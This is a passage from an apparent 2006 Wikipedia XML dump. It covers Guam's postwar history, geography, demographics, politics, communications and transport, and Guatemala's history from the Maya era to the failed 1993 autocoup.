During [[World War II]], Guam was attacked and invaded by the [[Japan]]ese [[Imperial Japanese Army|armed forces]] shortly after [[December 7]], [[1941]]. Most U.S. military personnel evacuated prior to the invasion.  The Japanese [[military occupation]] lasted from 1941 to 1944 and was a brutal experience for the Chamorro people, whose loyalty to the United States became a point of contention with the Japanese. Some American servicemen were still on the island and were hidden by the Chamorro people.  The [[Battle of Guam]] started on [[July 21]], [[1944]] with American troops landing on the island and Guam was recaptured from Japanese military rule on [[August 10]] in an [[Allies | Allied]] victory.

The immediate years after [[World War II]] saw the [[United States armed forces|U.S. Navy]] attempting to resume its predominance in Guam affairs.  This eventually led to resentment, and thus increased political pressure for greater [[autonomy]] from Chamorro leaders. The result was the [[Organic Act of 1950]] (signed by [[President of the United States|President]] [[Harry S. Truman]]), which established Guam as an [[unincorporated]] [[organized territory]] of the [[United States]] and, for the first time in Guam History, provided for a civilian government. The [[Immigration and Nationality Act]] of 1952, section 307, granted [[U.S. citizenship]] to &quot;all persons born in the island of Guam on or after April 11, 1899 (whether before or after August 1, 1950)&quot;.  In the [[1960s]], under [[President of the United States|President]] [[John F. Kennedy]], the island's required [[security clearance]] for visitors was lifted.  

Guam's [[U.S. military]] installations are among the most strategically vital in the [[Pacific Ocean]]. When the [[United States]] closed its [[United States Navy|Navy]] and [[United States Air Force|Air Force]] bases in the [[Philippines]] after the expiration of their leases in the early 1990's, most of the forces stationed there were relocated to Guam.

===Self-Determination===
On September 11, 1968, eighteen years after passage of the Organic Act, Congress passed the &quot;Elective Governor Act&quot; (Public Law 90-497), which allowed the people of Guam to elect their own governor and lieutenant governor. Nearly four years later, Congress passed the &quot;Guam-[[Virgin Islands]] Delegate&quot; Act that allowed for one non-voting Guam delegate in the House of Representatives.  Although Public Law 94-584 established the formation of a &quot;locally drafted&quot; constitution (later known as the &quot;Guam Constitution&quot;), the proposed document was rejected by Guam residents in an [[August 4]], [[1979]] referendum.    

In the meantime, Guam's local government had formed several [[political status]] commissions to address possible options for [[self-determination]].  The following year after passage of the Guam Delegate Act saw the creation of the &quot;Status Commission&quot; by the Twelth Guam Legislature.  This was followed by the establishment of the &quot;Second Political Status Commission&quot; in 1975 and the Guam &quot;Commission on Self-Determination&quot; (CSD) in 1980.  The Twenty-Fourth Guam Legislature established the &quot;Commission on Decolonization&quot; in 1996 to enhance CSD's ongoing studies of various political status options and public education campaigns.   

These efforts enabled the CSD, barely two years after its creation, to organize Guam's first political status referendum on January 12, 1982.  Forty-nine percent, or almost half, of all Guam residents who voted, chose a closer relationship with the United States via [[Commonwealth]].  Twenty-six percent voted [[State|Statehood]], while ten percent voted for the Status Quo ([[Incorporated territory|Unincorporated territory]]).  Smaller groups voted for [[Incorporated territory]] status (5%), [[Associated State|Free Association]] (4%), [[Independence]] (4%), and &quot;other&quot; political status options (2%).  A subsequent run-off election held between Commonwealth and Statehood saw seventy-three percent, or nearly three-fourth's, of Guam voters choosing Commonwealth over Statehood (27%).  

Not until 1988, six years after Guam residents overwhelmingly approved Commonwealth status, was the first Guam Commonwealth Act introduced into Congress.  Delegates have subsequently reintroduced the bill with little success.  

A 2005 monograph by Guam historian Dirk A. Ballendorf and Washington D.C. legal expert Howard P. Willens (&quot;Secret Guam Study&quot;) examines a recently declassified U.S. Federal study of Guam's political status.  The report was commissioned by President [[Gerald Ford]] at the behest of Secretary of State [[Henry Kissinger]], but conducted by the [[United States Department of the Interior|Department of the Interior]].  Delays, however, meant that the study was not completed until the end of the Ford administration.  The documents were then shelved and classified, with few officials in the Carter administration, let alone Capitol Hill, even aware of their existence.  [[Antonio Borja Won Pat|Antonio Won Pat Borja]], Guam's Washington delegate, and other GovGuam officials involved in political status negotiations at that time were also not informed about the study.

===Contemporary Guam===
The removal of Guam's security clearance allowed for the development of a [[tourism]] industry.  The island's rapid economic development was fueled both by rapid growth in this industry as well as increased U.S. Federal Government spending during the [[1980s]] and [[1990s]].  The [[Asian financial crisis|Asian economic crisis]] of the late 1990's, which particularly hit Japan hard, severely affected Guam tourism, however.  Military cutbacks in the 1990s also disrupted the island's economy.  The island's economic recovery was further hampered by devestation from Supertyphoons Paka in 1997 and Ponsonga in 2002, as well as the economic effects of the [[September 11, 2001|September 11]] terrorist attacks.  

There are nevertheless indications that Guam is recovering from these setbacks.  Japan's gradual economic recovery is reflected in increased tourist arrivals.  U.S. military spending on the island has dramatically increased as part of [[President of the United States|President]] [[George W. Bush|George W. Bush's]] [[War on Terrorism]].  Recent proposals to further increase U.S. military presence on Guam, including plans to station 7,000 [[U.S. Marine Corps|U.S. Marines]] on the island, have also contributed to hopes of a complete economic revival.

The full legacy of Guam's rapid economic development remains to be seen, however.  Along with economic expansion has come tremendous population growth that poses significant political, social, and cultural, as well as economic, ramifications.  Perhaps the clearest indicator of these changes is the declining proportion of [[Chamorros]] vis-a-vis the general population.  &quot;Cosmopolitan&quot; Guam poses particular challenges for Chamorros struggling to preserve their culture and identity in the face of [[acculturation]].  The increasing numbers of Chamorros, especially Chamorro youth, relocating to the U.S. Mainland, has further complicated both definition and preservation of Chamorro identity.

==Further reading==
Robert F. Rogers, ''Destiny’s Landfall: A History of Guam'' (Honolulu: University of Hawaii Press, 1995)

Paul Carano and Pedro C. Sanchez, ''A Complete History of Guam'' (Rutland, VT: C. E. Tuttle, 1964)

Howard P Willens and Dirk A Ballendorf, ''The Secret Guam Study: How President Ford's 1975 Approval of Commonwealth Was Blocked by Federal Officials'' (Mangilao, Guam: Micronesian Area Research Center; Saipan: Commonwealth of the Northern Mariana Islands Division of Historical Preservation, 2004)

==External links==
* [http://www.guamhumanitiescouncil.org/ Guam Humanities Council]
* [http://www.guampedia.com/ Guampedia]
* [http://www.nps.gov/wapa/indepth/index.htm War in the Pacific National Historic Park]
* [http://ns.gov.gu/latte.html The Latte Stones of Guam]
* [http://www.historyofnations.net/oceania/guam.html History of Guam]
* [http://www.bisitaguam.com/ Bisita Guam]
* [http://www.newadvent.org/cathen/09660b.htm Prefecture Apostolic of Mariana Islands]
* [http://www.guam-online.com/people/people.htm Guam Online's History Webpage]
* [http://www.usnhguam.med.navy.mil/us/history/default.htm Brief History of Guam's U.S. Naval Hospital]
* [http://thomas.loc.gov/cgi-bin/query/z?c105:S.RES.254: Senate Resolution 254, 105th Congress]  Includes brief history of Guam's movement towards self-determination

==See also== 
* [[Guam]]
* [[Villages of Guam]]
* [[San Vitores]]
* [[Chief Kepuha]]

{{Oceania in topic|History of}}

[[Category:Guam]]
[[Category:Histories of non-state political divisions of the United States]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Guam</title>
    <id>12149</id>
    <revision>
      <id>40479659</id>
      <timestamp>2006-02-20T21:44:50Z</timestamp>
      <contributor>
        <username>Reaganamerican</username>
        <id>761529</id>
      </contributor>
      <text xml:space="preserve">[[Image:GuamMapSmall.png|right|frame|(See [[:Image:GuamMap.png|detailed map]])]]

This article describes the '''[[geography]] of [[Guam]]'''.

; Location:
: Oceania, island in the North [[Pacific Ocean]], about three-quarters of the way from [[Hawaii]] to the [[Philippines]]
; [[Geographic coordinate]]s:
: {{coor dms|13|26|31|N|144|46|35|E|}}
; Map references:
: [[Oceania]]
; Area:
:* Total: [[1 E8 m²|541.3 km&amp;sup2;]]
:* Land: 541.3 km&amp;sup2;
:* Water: 0 km&amp;sup2;
; Area--comparative:
: Three times the size of [[Washington, DC]]
; Land boundaries:  Approximately 30 [[mile]]s/51 km long and 9 miles/15.3 km wide, narrowing to four miles/6.8 km wide at the center.  

; Coastline:
: 125.5 km
; Maritime claims:
:* Exclusive economic zone: 200 [[nautical mile|nm]]
:* Territorial sea: 12 nm
:* The southern maritime boundary of Guam forms a border with the Federated States of Micronesia, and the northern maritime boundary forms a border with the Northern Marianas Islands.
; Climate:
: Tropical marine; generally warm and humid, moderated by northeast trade winds; dry season from January to June, rainy season from July to December; little seasonal temperature variation
; Terrain:
: Volcanic origin, surrounded by [[coral]] reefs; relatively flat coralline limestone plateau (source of most fresh [[water]]), with steep coastal cliffs and narrow coastal plains in north, low-rising hills in center, mountains in south
; Elevation extremes:
:* Lowest point: [[Pacific Ocean]] 0 [[metre|m]]
:* Highest point: Mount Lamlam 406 m
; Natural resources:
: Commercial fishing (mostly servicing and unloading of long line fleets and commercial vessels), sport fishing of blue marlin, wahoo, mahi mahi, yellow fin tuna, and deep water reef fish, tourism (especially from [[Japan]] but increasingly from China and Korea)
; Land use:
:* Arable land: 11%
:* Permanent crops: 11%
:* Permanent pastures: 15%
:* Forests and woodland: 18%
:* Other: 45% (1993 est.)
; Irrigated land:
: NA km&amp;sup2;
; Natural hazards:
: Frequent squalls during rainy season; relatively rare, but potentially very destructive [[typhoon]]s (typhoons are possible in any season but most common from August through December)
; Environment--current issues:
: Extirpation of native [[bird]] population by the rapid proliferation of the brown tree snake, an exotic species.  Island also supports feral populations of introduced deer, pigs and water buffalo.  
; Geography--note:
: Largest and southernmost island in the [[Mariana Islands]] archipelago; strategic location in western North [[Pacific Ocean]]

[[Category:Guam]]
[[Category:Geography by country|Guam]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Guam</title>
    <id>12150</id>
    <revision>
      <id>39428939</id>
      <timestamp>2006-02-13T02:01:06Z</timestamp>
      <contributor>
        <ip>83.105.58.176</ip>
      </contributor>
      <text xml:space="preserve">'''[[statistical population|Population]]:'''
154,623 (July 2000 est.)

'''Age structure:'''
: ''0-14 years:'' 34.9% (male 28,233; female 25,727)
: ''15-64 years:'' 59.09% (male 48,126; female 43,238)
: ''65 years and over:'' 6.01% (male 4,680; female 4,619) (2000 est.)

'''Population growth rate:'''
1.67% (2000 est.)

'''[[Birth rate]]:'''
26.19 births/1,000 population (2000 est.)

'''[[Death]] rate:'''
4.16 deaths/1,000 population (2000 est.)

'''Net [[migration]] rate:'''
-5.35 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
: ''at birth:'' 1.14 male(s)/female
: ''under 15 years:'' 1.1 male(s)/female
: ''15-64 years:'' 1.11 male(s)/female
: ''65 years and over:'' 1.01 male(s)/female
: ''total population:'' 1.1 male(s)/female (2000 est.)

'''[[Infant mortality rate]]:'''
6.83 deaths/1,000 live births (2000 est.)

'''[[Life expectancy]] at birth:'''
: ''total population:'' 77.78 years
: ''male:'' 75.51 years
: ''female:'' 80.37 years (2000 est.)

'''Total [[fertility rate]]:'''
3.96 children born/woman (2000 est.)

'''Nationality:'''
: ''noun:'' Guamanian(s)
: ''adjective:'' Guamanian

'''[[Ethnic group]]s:'''
[[Chamorro]] 47%, [[Filipino people|Filipino]] 25%, white 10%, [[Chinese people|Chinese]], [[Ethnic Japanese|Japanese]], [[Koreans|Korean]], and other 18%

'''[[Religion]]s:'''
Roman Catholic 85%, other 15% (1999 est.)

'''[[Language]]s:'''
[[English language|English]], [[Chamorro language|Chamorro]], [[Tagalog]],  [[Japanese language|Japanese]]

'''[[Literacy]]:'''
: ''definition:'' age 15 and over can read and write
: ''total population:'' 99%
: ''male:'' 99%
: ''female:'' 99% (1990 est.)

In the [[United States territory]] of [[Guam]], Asians, mostly Filipinos, with smaller numbers of Koreans, Chinese, and Japanese, are the largest minority group. 

:''See also :'' [[Guam]]

[[Category:Guam]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Guam</title>
    <id>12151</id>
    <revision>
      <id>39337326</id>
      <timestamp>2006-02-12T13:06:13Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{CIA}}, {{Oceania in topic|Politics of}}</comment>
      <text xml:space="preserve">{{CIA}}

{{Politics of Guam}}
'''Country name:'''
: ''conventional long form:'' Territory of Guam
: ''conventional short form:'' Guam

'''Data code:'''
GQ

'''Dependency status:'''
organized, unincorporated territory of the US with policy relations between Guam and the US under the jurisdiction of the Office of Insular Affairs, US Department of the Interior

'''Government type:'''
NA

'''Capital:'''
Hagatna (Agana)

'''Administrative divisions:'''
none (territory of the [[United States|US]])

'''Independence:'''
none (territory of the US)

'''National holiday:'''
Magellan Day (first Monday in March) ([[1521]]); Liberation Day, [[21 July]] ([[1944]])

'''Constitution:'''
Organic Act of [[1 August]] [[1950]]

'''Legal system:'''
modeled on US; US federal laws apply

'''Suffrage:'''
18 years of age; universal; US citizens, but do not vote in US presidential elections

'''Executive branch:'''
: ''chief of state:'' [[President of the United States|President]] [[George W. Bush]] of the US (since [[January 20]], [[2001]]); [[Vice President of the United States|Vice President]] [[Dick Cheney]]. (since [[January 20]], [[2001]])
: ''head of government:'' Governor [[Felix P. Camacho]] (elected November 2002) and Lieutenant Governor [[Kaleo S. Moylan]] (elected November 2002)
: ''cabinet:'' executive departments; heads appointed by the governor with the consent of the Guam legislature
: ''elections:'' US president and vice president elected on the same ticket for a four-year term; governor and lieutenant governor elected on the same ticket by popular vote for four-year terms; election last held November 2002 (next to be held  November 2006)
: ''election results:'' Felix P. Camacho elected governor
'''Legislative branch:''' unicameral Legislature (15 seats; members are elected by popular vote to serve two-year terms)
: ''elections:'' last held November 2004 (next to be held November 2006)
: ''election results:'' percent of vote by party - NA; seats by party - Republican 9, Democrat 6
: ''note:'' Guam elects one delegate to the US House of Representatives; election last held November November 2004; results - Madeleine Z. Bordallo was elected as delegate; percent of vote by party - NA; 

'''Judicial branch:'''
Federal District Court (judge is appointed by the president); Territorial Superior Court (judges appointed for eight-year terms by the governor)

'''Political parties and leaders:'''
[[United States Republican Party|Republican Party]] (party of the Governor) [leader NA]; [[United States Republican Party|Republican Party]]  (controls the legislature) [leader NA]

'''International organization participation:'''
ESCAP (associate), Interpol (subbureau), IOC, SPC

'''Diplomatic representation in the US:'''
none (territory of the US)

'''Diplomatic representation from the US:'''
none (territory of the US)

'''Flag description:'''
territorial flag is dark blue with a narrow red border on all four sides; centered is a red-bordered, pointed, vertical ellipse containing a beach scene, outrigger canoe with sail, and a palm tree with the word GUAM superimposed in bold red letters; [[Flag of the United States|US flag]] is the national flag

:''See also :'' [[Guam]]

{{Oceania in topic|Politics of}}

[[Category:Guam]]</text>
    </revision>
  </page>
  <page>
    <title>Guam/Economy</title>
    <id>12152</id>
    <revision>
      <id>15909857</id>
      <timestamp>2002-06-14T14:20:38Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Economy of Guam]]</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of Guam]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Guam</title>
    <id>12153</id>
    <revision>
      <id>15909858</id>
      <timestamp>2005-06-03T04:21:03Z</timestamp>
      <contributor>
        <username>Eyreland</username>
        <id>180850</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
82,669 (1997)

'''Telephones - mobile cellular:'''
55,000 (1998)

'''Telephone system:'''
: ''domestic:'' NA
: ''international:'' [[satellite]] earth stations - 2 [[Intelsat]] ([[Pacific Ocean]]); submarine cables to [[United States]] and [[Japan]]

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
[[AM radio|AM]] 4, [[FM]] 7, [[shortwave]] 2 (2005)

'''Radios:'''
221,000 (1997)

'''[[Television]] broadcast stations:'''
5 (1997)

'''Televisions:'''
106,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
5 (1999)

'''[[Country code]] (Top-level domain):''' GU

:''See also :'' [[Guam]]

[[Category:Communications by country|Guam]]
[[Category:Guam]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Guam</title>
    <id>12154</id>
    <revision>
      <id>39308540</id>
      <timestamp>2006-02-12T06:20:15Z</timestamp>
      <contributor>
        <username>Rt66lt</username>
        <id>275075</id>
      </contributor>
      <comment>list of highways in Guam</comment>
      <text xml:space="preserve">[[Guam]] has no [[railway]]s, nor does it have a [[merchant marine]].  The largest [[seaport|port]] is [[Apra Harbor]], which serves almost all commercial traffic including cruise, cargo and fishing vessels. There are smaller harbors located on the island (most notably one in Hagatna and one in Agat) which serve recreational boaters.  Roads are primarily paved out of a [[coral]]/oil mixture. When wet, the oil tends to float to the surface of the roads making them very slippery and dangerous. This is one of the reasons the [[speed limit]] island-wide is 35mph. Its main commercial [[airport]] is the [[Antonio B. Won Pat International Airport]].

'''[[Highway]]s:'''
: ''total:'' 885 [[kilometre|km]]
: ''paved:'' 675 km
: ''unpaved:'' 210 km
: ''note:'' there is another 685 km of roads classified non-public, including roads located on federal government installations

'''Airports:'''
5 (1999 est.)

'''Airports - with paved runways:'''
: ''total:'' 4
: ''over 3,047 [[metre|m]]:'' 2
: ''2,438 to 3,047 m:'' 1
: ''914 to 1,523 m:'' 1 (1999 est.)

'''Airports - with unpaved runways:'''
: ''total:'' 1
: ''under 914 m:'' 1 (1999 est.)

:''See also:'' [[Guam]], [[List of highways in Guam]]

{{Oceania in topic|Transport in}}

[[Category:Guam]]
[[Category:Transportation in the United States]]</text>
    </revision>
  </page>
  <page>
    <title>Guam/Military</title>
    <id>12155</id>
    <revision>
      <id>15909860</id>
      <timestamp>2002-08-30T19:31:29Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Guam]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[Guam]]</text>
    </revision>
  </page>
  <page>
    <title>History of Guatemala</title>
    <id>12157</id>
    <revision>
      <id>41407515</id>
      <timestamp>2006-02-27T03:03:38Z</timestamp>
      <contributor>
        <username>Clngre</username>
        <id>30878</id>
      </contributor>
      <minor />
      <comment>rv vandalism</comment>
      <text xml:space="preserve">== Pre-Columbian Guatemala ==
The [[Maya civilization]] flourished throughout much of [[Guatemala]] and the surrounding region for close to 2000 years before the Spanish arrived in the early [[16th century]].  Most of the Great Classic Maya cities of the [[Petén]] region of Guatemala's northern lowlands were abandoned by the year 1000 AD. The states of the central highlands, however, were still flourishing until the arrival of the Spanish [[Conquistador]] [[Pedro de Alvarado]], who brutally subjegated the native states in [[1523]]&amp;ndash;[[1527]].  

Native peoples of the Guatemala highlands, such as the [[Cachiquel]], [[Mam language|Mam]], [[Quiché]], and [[Tz'utujil]], still make up a sizable portion of Guatemala's population.

== The Era of Spanish Rule ==
During Spanish colonial rule, most of [[Central America]] came under the control of the [[Captaincy General of Guatemala]].

The first colonial capital of Guatemala, now called Ciudad Vieja, was ruined by floods and an earthquake in [[1542]]. Survivors founded a second city of Guatemala, now known as La Antigua, in [[1543]]. In the [[17th century]], [[Antigua Guatemala]] became one of the richest capitals in the [[New World]]. Always vulnerable to volcanic eruptions, floods from &quot;The Volcan of Agua&quot;, and earthquakes, Antigua was destroyed by two earthquakes in [[1773]], but the remnants of its Spanish colonial architecture have been preserved as a national monument. The third capital, modern [[Guatemala City]], was founded in [[1776]], after which Antigua was ordered to be abandoned.

== The 19th Century ==
Guatemala gained independence from [[Spain]] on [[September 15]], [[1821]]; it briefly became part of the Mexican Empire and then for a period belonged to a federation called The [[United Provinces of Central America]], until the federation broke up in civil war in [[1838]]&amp;ndash;[[1840]] (''See:'' [[History of Central America]]).  Guatemala's [[Rafael Carrera]] was instrumental in leading the revolt against the federal government and breaking apart the Union. Carrera dominated Guatemalan politics until [[1865]], backed by conservatives, large land owners and the church. 

[[Image:AlcaldesGuatemala1891.jpg|thumbnail|300px|right|Town [[alcalde]]s of Highland Guatemala in traditional dress, 1891]]
Guatemala's &quot;Liberal Revolution&quot; came in [[1871]] under the leadership of  [[Justo Rufino Barrios]], who worked to modernize the country, improve trade, and introduce new crops and manufacturing.  During this era [[coffee]] became an important crop for Guatemala.  Barrios had ambitions of reuniting Central America and took the country to war in an unsuccessful attempt to attain this; he died on the battlefield in [[1885]].

== The Early 20th Century ==
The U.S.-based multinational [[United Fruit Company]](UFC) started becoming a major force in Guatemala in [[1901]], during the long presidencies of [[Manuel José Estrada Cabrera]] and General [[Jorge Ubico]]. During the latter's dictatorship in the 1930's, Guatemala was further opened  up to foreign investment, with special favours being made from Ubico to the United Fruit Company in particular.  The UFC responded by pouring investment capital into the country, buying controlling shares of the railroad, electric utility, and telegraph, while also winning control of over 40% of the country's best land and de facto control over its only port facility. As a result, Government was often subservient to Company interests.  While the company helped with building some schools, it also opposed building highways because this would compete with its railroad monopoly

== The &quot;Ten Years of Spring&quot; ==
In [[1944]], General [[Jorge Ubico]]'s dictatorship was overthrown by the &quot;October Revolutionaries&quot;, a group of dissident military officers, students, and liberal professionals who were empowered by the wave of revolutions that swept up old, unpopular dictatorships in [[Venezuela]], [[Cuba]], and [[El Salvador]] around the same time. The social unrest preceding the coup culminated in the killing of a schoolteacher by an Army soldier, which sparked a broad [[general strike]] that paralyzed the country and forced Ubico to surrender power to his generals. Further unrest prompted two young officers at the time, [[Jacobo Arbenz]] and [[Francisco Javier Arana]], to lead a final coup and unseat the dictatorship.

In a highly popular move, the pair of officers then stepped aside and made way for a general election. This started what is called '''The Ten Years of Spring''', a period of free speech and political activity, proposed [[land reform]], and a perception that great progress could be made in Guatemala.  A civilian president, [[Juan José Arévalo]], was elected in [[1945]] and held the presidency until 1951. A former professor, he brought about social reforms, allowing new political parties and [[trade union|union]]s (with some restrictions), which placated the public.

Arana and Arbenz, still both highly regarded at the time, anticipated to soon succeed Arèvelo. Arana tried to prematurely hasten the process of Arévalo's descent in a failed coup which brought about Arana's death in a controversial arrest-gone-wrong. This cleared the way for Arbenz to secure power; as he did in a landslide general election in [[1951]]. Arbenz together with Arévalo further promoted the progressive social change that characterized the latter's presidency, clearing much of the old restrictions on political parties and labour unions, while also purging the army brass of its remaining pro-Arana officers -- one of whom was Colonel [[Carlos Castillo Armas]]; a man who would play a major role in Guatemalan politics in the coming years. Arbenz also permitted the Communist [[Guatemalan Party of Labour]] to achieve legal status in [[1952]]. The party subsequently gained a noticeable role in the government decision-making process that it had not had before.

===Operation PBSUCCESS===
:''Main article [[Operation PBSUCCESS]]''

Arbenz proceeded to nationalize un-utilized land owned by the [[United Fruit Company]], which had a practical monopoly on Guatemalan fruit production and some industry and subsequently lobbied the [[Dwight Eisenhower|Eisenhower]] administration to remove Arbenz. Of still greater importance, though, was the widespread American concern about the possibility of a so-called &quot;[[Soviet Union|Soviet]] beachhead&quot;&lt;sup id=&quot;fn_1_back&quot;&gt;[[#fn_1|1]]&lt;/sup&gt; opening up in the Western Hemisphere. Arbenz's sudden legalization of the Communist party and importing of arms from then Soviet-[[satellite state]] of [[Czechoslovakia]]&lt;sup id=&quot;fn_3_back&quot;&gt;[[#fn_3|3]]&lt;/sup&gt;, among other events, convinced major policy makers in the [[White House]] and  [[Central Intelligence Agency|CIA]] to try for Arbenz's forced removal. This led to a CIA-orchestrated coup, known as [[Operation PBSUCCESS]], which saw Arbenz toppled and forced into exile by Colonel [[Carlos Castillo Armas]].  Internal CIA documents released during the CIA's brief &quot;openness&quot; initiative in the [[1990s]] suggest that the United Fruit Company played less of a role in the coup than previously thought, and that [[Cold War]] strategy was the more pressing concern in Washington.  Despite most Guatemalans' attachment to the original ideals of the 1944 uprising, some private sector leaders and the military began to believe that Arbenz represented a Communist threat and supported his overthrow.

==Civil war==
:''Main article [[Guatemalan Civil War]]''

In response to the increasingly autocratic rule of Gen. [[José Miguel Ramón Ydígoras Fuentes|Ydígoras Fuentes]], who took power in 1958 following the murder of Col. Castillo Armas, a group of junior military officers revolted in 1960. When they failed, several went into hiding and established close ties with [[Cuba]]. This group became the nucleus of the forces that were in armed insurrection against the government for the next 36 years.

Four principal left-wing [[guerrilla warfare|guerrilla]] groups &amp;mdash; the Guerrilla Army of the Poor (EGP), the Revolutionary Organization of Armed People (ORPA), the Rebel Armed Forces (FAR), and the Guatemalan Labor Party (PGT) &amp;mdash; conducted economic sabotage and targeted government installations and members of government security forces in armed attacks. These organizations combined to form the [[Guatemalan National Revolutionary Unity]] (URNG) in [[1982]]. At the same time, extreme right-wing groups of self-appointed vigilantes, including the Secret Anti-Communist Army (ESA) and the White Hand, tortured and murdered students, professionals, and peasants suspected of involvement in leftist activities.

Shortly after President [[Julio César Méndez Montenegro]] took office in 1966, the army launched a major counterinsurgency campaign that largely broke up the guerrilla movement in the countryside. The guerrillas then concentrated their attacks in Guatemala City, where they assassinated many leading figures, including U.S. Ambassador [[John Gordon Mein]] in 1968. Between 1966 and 1982, there were a series of military or military-dominated governments.

On [[March 23]], [[1982]], army troops commanded by junior officers staged a [[coup d'état]] to prevent the assumption of power by General [[Ángel Aníbal Guevara]], the hand-picked candidate of outgoing President and General [[Romeo Lucas García]]. They denounced Guevara's electoral victory as fraudulent. The coup leaders asked retired Gen. [[Efraín Ríos Montt]] to negotiate the departure of Lucas and Guevara. Ríos Montt had been the candidate of the [[Guatemalan Christian Democracy|Christian Democracy Party]] in the 1974 presidential elections and was widely regarded as having been denied his own victory through fraud.

Ríos Montt was by this time a lay pastor in the evangelical protestant [[Church of the Word]]. In his inaugural address, he stated that his presidency resulted from the will of [[God]]. He was widely perceived as having strong backing from the [[Ronald Reagan|Reagan]] administration in the United States.  He formed a three-member [[Military dictatorship|military junta]] that annulled the 1965 constitution, dissolved [[Congress of Guatemala|Congress]], suspended political parties and cancelled the electoral law. After a few months, Ríos Montt dismissed his junta colleagues and assumed the ''de facto'' title of &quot;President of the Republic&quot;.

Guerrilla forces and their leftist allies denounced Ríos Montt. Ríos Montt sought to defeat the guerrillas with military actions and economic reforms; in his words, &quot;rifles and beans&quot;. In May [[1982]], the Conference of Catholic Bishops accused Ríos Montt of responsibility for growing militarization of the country and for continuing military massacres of civilians. General Ríos Montt was quoted in the ''[[New York Times]]'' of [[July 18]], [[1982]] as telling an audience of indigenous Guatemalans, &quot;If you are with us, we'll feed you; if not, we'll kill you.&quot; The [[Plan de Sánchez massacre]] occurred on the same day.

The government began to form local civilian defense patrols (PACs). Participation was in theory voluntary, but in practice, many Guatemalans, especially in the northwest, had no choice but to join either the PACs or the guerrillas. Ríos Montt's conscript army and PACs recaptured essentially all guerrilla territory &amp;mdash; guerrilla activity lessened and was largely limited to hit-and-run operations. However, Ríos Montt won this partial victory at an enormous cost in civilian deaths.

Ríos Montt's brief presidency was probably the most violent period of the 36-year internal conflict, which resulted in thousands of deaths of mostly unarmed indigenous civilians. Although leftist guerrillas and right-wing death squads also engaged in summary executions, forced disappearances, and torture of noncombatants, the vast majority of human rights violations were carried out by the Guatemalan military and the PACs they controlled. The internal conflict is described in great detail in the reports of the [[Historical Clarification Commission]] (CEH) and the Archbishop's Office for Human Rights (ODHAG). The CEH estimates that government forces were responsible for 93% of the violations; ODHAG earlier estimated that government forces were responsible for 80%.

On [[August 8]], [[1983]], Ríos Montt was deposed by his own Minister of Defense, General [[Óscar Humberto Mejía Victores]], who succeeded him as ''de facto'' president of Guatemala. Mejía justified his coup, saying that &quot;religious fanatics&quot; were abusing their positions in the government and also because of &quot;official corruption&quot;. Seven people were killed in the coup, although Ríos Montt survived to found a political party (the [[Guatemalan Republic Front]]) and to be elected President of Congress in 1995 and 2000. Awareness in the United States of the conflict in Guatemala, and its ethnic dimension, increased with the 1983 publication of the &quot;testimonial&quot; account ''I, Rigoberta Menchú''; [[Rigoberta Menchú]] was later awarded the 1992 [[Nobel Peace Prize]] for her work in favor of broader social justice. In 1998 a book by a North American anthropologist David Stoll challenged some of the details in Menchú's, creating an international controversy. After the publication of Stoll's book, the Nobel Committee reiterated that it had awarded the Peace Prize based on Menchú's uncontested work promoting human rights and the peace process.

General Mejía allowed a managed return to democracy in Guatemala, starting with a [[July 1]], [[1984]] election for a [[Constituent Assembly]] to draft a democratic constitution. On [[May 30]], [[1985]], after nine months of debate, the Constituent Assembly finished drafting a new constitution, which took effect immediately. [[Vinicio Cerezo]], a civilian politician and the presidential candidate of the [[Guatemalan Christian Democracy|Christian Democracy Party]], won the first election held under the new constitution with almost 70% of the vote, and took office on [[January 14]], [[1986]].

===1986 to 2000===

Upon its inauguration in January [[1986]], President Cerezo's civilian government announced that its top priorities would be to end the political violence and establish the rule of law. Reforms included new laws of habeas corpus and ''amparo'' (court-ordered protection), the creation of a legislative human rights committee, and the establishment in 1987 of the Office of Human Rights Ombudsman. The Supreme Court also embarked on a series of reforms to fight corruption and improve legal system efficiency.

With Cerezo's election, the military moved away from governing and returned to the more traditional role of providing internal security, specifically by fighting armed insurgents. The first two years of Cerezo's administration were characterized by a stable economy and a marked decrease in political violence. Dissatisfied military personnel made two coup attempts in May 1988 and May 1989, but military leadership supported the constitutional order. The government was heavily criticized for its unwillingness to investigate or prosecute cases of human rights violations.

The final two years of Cerezo's government also were marked by a failing economy, strikes, protest marches, and allegations of widespread corruption. The government's inability to deal with many of the nation's problems &amp;mdash; such as infant mortality, illiteracy, deficient health and social services, and rising levels of violence &amp;mdash; contributed to popular discontent.

Presidential and congressional elections were held on [[November 11]], [[1990]]. After a runoff ballot, [[Jorge Antonio Serrano Elías]] was inaugurated on [[January 14]], [[1991]], thus completing the first transition from one democratically elected civilian government to another. Because his [[Movement of Solidarity Action]] (MAS) Party gained only 18 of 116 seats in [[Congress of Guatemala|Congress]], Serrano entered into a tenuous alliance with the Christian Democrats and the National Union of the Center (UCN).

The Serrano administration's record was mixed. It had some success in consolidating [[civilian control of the military|civilian control]] over the army, replacing a number of senior officers and persuading the military to participate in peace talks with the URNG. He took the politically unpopular step of recognizing the sovereignty of Belize. The Serrano government reversed the economic slide it inherited, reducing inflation and boosting real growth.

On [[May 25]], [[1993]], Serrano illegally dissolved Congress and the Supreme Court and tried to restrict civil freedoms, allegedly to fight corruption. The ''autogolpe'' (or autocoup) failed due to unified, strong protests by most elements of Guatemalan society, international pressure, and the army's enforcement of the decisions of the Court of Constitutionality, which ruled against the attempted takeover. In the face of this pressure, Serrano fled the country.

